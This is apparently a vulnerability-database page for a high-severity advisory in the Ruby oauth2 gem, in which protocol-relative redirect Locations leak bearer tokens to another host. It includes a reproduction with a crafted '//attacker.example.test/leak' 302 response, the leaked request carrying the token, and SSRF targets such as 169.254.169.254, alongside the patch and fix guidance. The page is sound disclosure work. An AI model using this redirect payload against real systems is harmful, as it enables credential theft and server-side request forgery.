Vulnerabilities in pkg:gem/oauth2

PACKAGE
Advisory Identifier: GHSA-pp92-crg2-gfv9
Advisory Summary

CVE-2026-54603 is a HIGH (CVSS 8.6) :client#request: protocol-relative redirect location overrides vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting OAuth2 libraries in the RubyGems ecosystem. The issue involves :client#request: protocol-relative redirect location overrides authority, leaking bearer authorization to attacker host. Remediation is available by upgrading affected packages to version 2.0.22.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:gem/oauth2

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:gem/oauth2. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-pp92-crg2-gfv9 CVE-2026-54603 HIGH OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

CVE-2026-54603 at a Glance

CVE Identifier CVE-2026-54603
GHSA Identifier GHSA-pp92-crg2-gfv9
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product OAuth2
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54603

To remediate this vulnerability, upgrade all affected OAuth2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

oauth2 fixed: 2.0.22
Upgrade oauth2 to 2.0.22
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for oauth2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54603, inspect your project dependencies for OAuth2:

inspect dependencies for oauth2

Analyze the terminal output to locate any version of OAuth2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.22), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In OAuth2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary When an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI("http://idp.trusted/userinfo").merge("//attacker.example/leak")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer <access-token>` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request. The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user. ## Affected - `oauth2` v2.0.21 and all prior versions back to and including v0.4.0. - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73 - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73 - Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x). - Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific. ## Impact A consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once: 1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer <token>` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction. 2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot. The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects. ## Vulnerable code [`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`): ```ruby def request(verb, url, req_opts = {}, &block) response = execute_request(verb, url, req_opts, &block) status = response.status case status when 301, 302, 303, 307 req_opts[:redirect_count] ||= 0 req_opts[:redirect_count] += 1 return response if req_opts[:redirect_count] > options[:max_redirects] if status == 303 verb = :get req_opts.delete(:body) end location = response.headers["location"] if location full_location = response.response.env.url.merge(location) # <-- protocol-relative input replaces authority request(verb, full_location, req_opts) # ... ``` `response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host. The credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408): ```ruby def configure_authentication!(opts, verb) # ... case mode when :header opts[:headers] ||= {} opts[:headers].merge!(headers) # ... end def headers {"Authorization" => options[:header_format] % token} end ``` The default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer <token>` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins. ## Reachable in production The vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached. Realistic upstream triggers: 1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it. 2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly. 3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form. In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target. ## Reproduction The issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`. Minimal setup: ```ruby require "oauth2" client = OAuth2::Client.new( "client-id", "client-secret", site: "http://idp.example.test" ) token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN") token.get("/userinfo") ``` If the configured authorization/resource server responds to that request with a redirect such as: ```http HTTP/1.1 302 Found Location: //attacker.example.test/leak Content-Length: 0 ``` then vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer <token>` by default, the next request is sent to the attacker-controlled host with the bearer token attached: ```http GET /leak HTTP/1.1 Host: attacker.example.test Authorization: Bearer SECRET-BEARER-TOKEN ``` This requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response. ### Patched-build verification Monkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance. ```ruby module OAuth2 class Client def request(verb, url, req_opts = {}, &block) response = execute_request(verb, url, req_opts, &block) status = response.status case status when 301, 302, 303, 307 req_opts[:redirect_count] ||= 0 req_opts[:redirect_count] += 1 return response if req_opts[:redirect_count] > options[:max_redirects] verb = :get and req_opts.delete(:body) if status == 303 location = response.headers["location"] if location # PATCH: neutralise protocol-relative location before URI#merge. safe_location = location.start_with?("//") ? "./#{location}" : location full_location = response.response.env.url.merge(safe_location) request(verb, full_location, req_opts) else raise(Error.new(response), "Got #{status} status code, but no Location header was present") end # ... unchanged fallthrough ... end end end end ``` After applying the patch, the same `token.get("/userinfo")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control: ```text [idp:4567] hit req_line=GET /userinfo HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" [idp:4567] hit req_line=GET ///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" [idp:4567] hit req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY" ``` All hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP. ## Suggested fix Treat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`): ```ruby location = response.headers["location"] if location # Force protocol-relative inputs to be interpreted as relative paths so they # cannot override the base authority via RFC 3986 §5.2 network-path reference. safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \ ? "./#{location}" : location full_location = response.response.env.url.merge(safe_location) request(verb, full_location, req_opts) ``` A defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint. ## Credit Reported by tonghuaroot.

CVE-2026-54603 Affected OAuth2 Versions

1 component(s)
Fixed Versions:
2.0.22
Product / Package Ecosystem Affected Versions Fixed Version
oauth2
RubyGems
≥ 0.4.0
< 2.0.22
2.0.22

References

Frequently Asked Questions

What is CVE-2026-54603?
CVE-2026-54603 is a security vulnerability in OAuth2 involving :Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which OAuth2 versions are affected?
Affected versions include releases prior to 2.0.22 across affected packages: oauth2.
What version fixes CVE-2026-54603?
Upgrading to 2.0.22 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oauth2 affected?
Yes, oauth2 is affected in releases prior to 2.0.22. Upgrade your dependency to 2.0.22 or later.
What is the CVSS score of CVE-2026-54603?
CVE-2026-54603 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54603?
CVE-2026-54603 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check RubyGems dependencies for CVE-2026-54603?
Run the dependency tree command: 'inspect dependencies for oauth2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pp92-crg2-gfv9",
  "modified" : "2026-07-28T16:32:45Z",
  "published" : "2026-07-28T16:32:45Z",
  "aliases" : [ "CVE-2026-54603" ],
  "summary" : "OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host",
  "details" : "## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer <access-token>` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer <token>` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, &block)\n  response = execute_request(verb, url, req_opts, &block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] > options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # <-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" => options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer <token>` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer <token>` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, &block)\n      response = execute_request(verb, url, req_opts, &block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] > options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 §5.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) && location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "oauth2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.4.0"
      }, {
        "fixed" : "2.0.22"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.21"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ruby-oauth/oauth2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-601" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T16:32:45Z",
    "nvd_published_at" : null
  }
}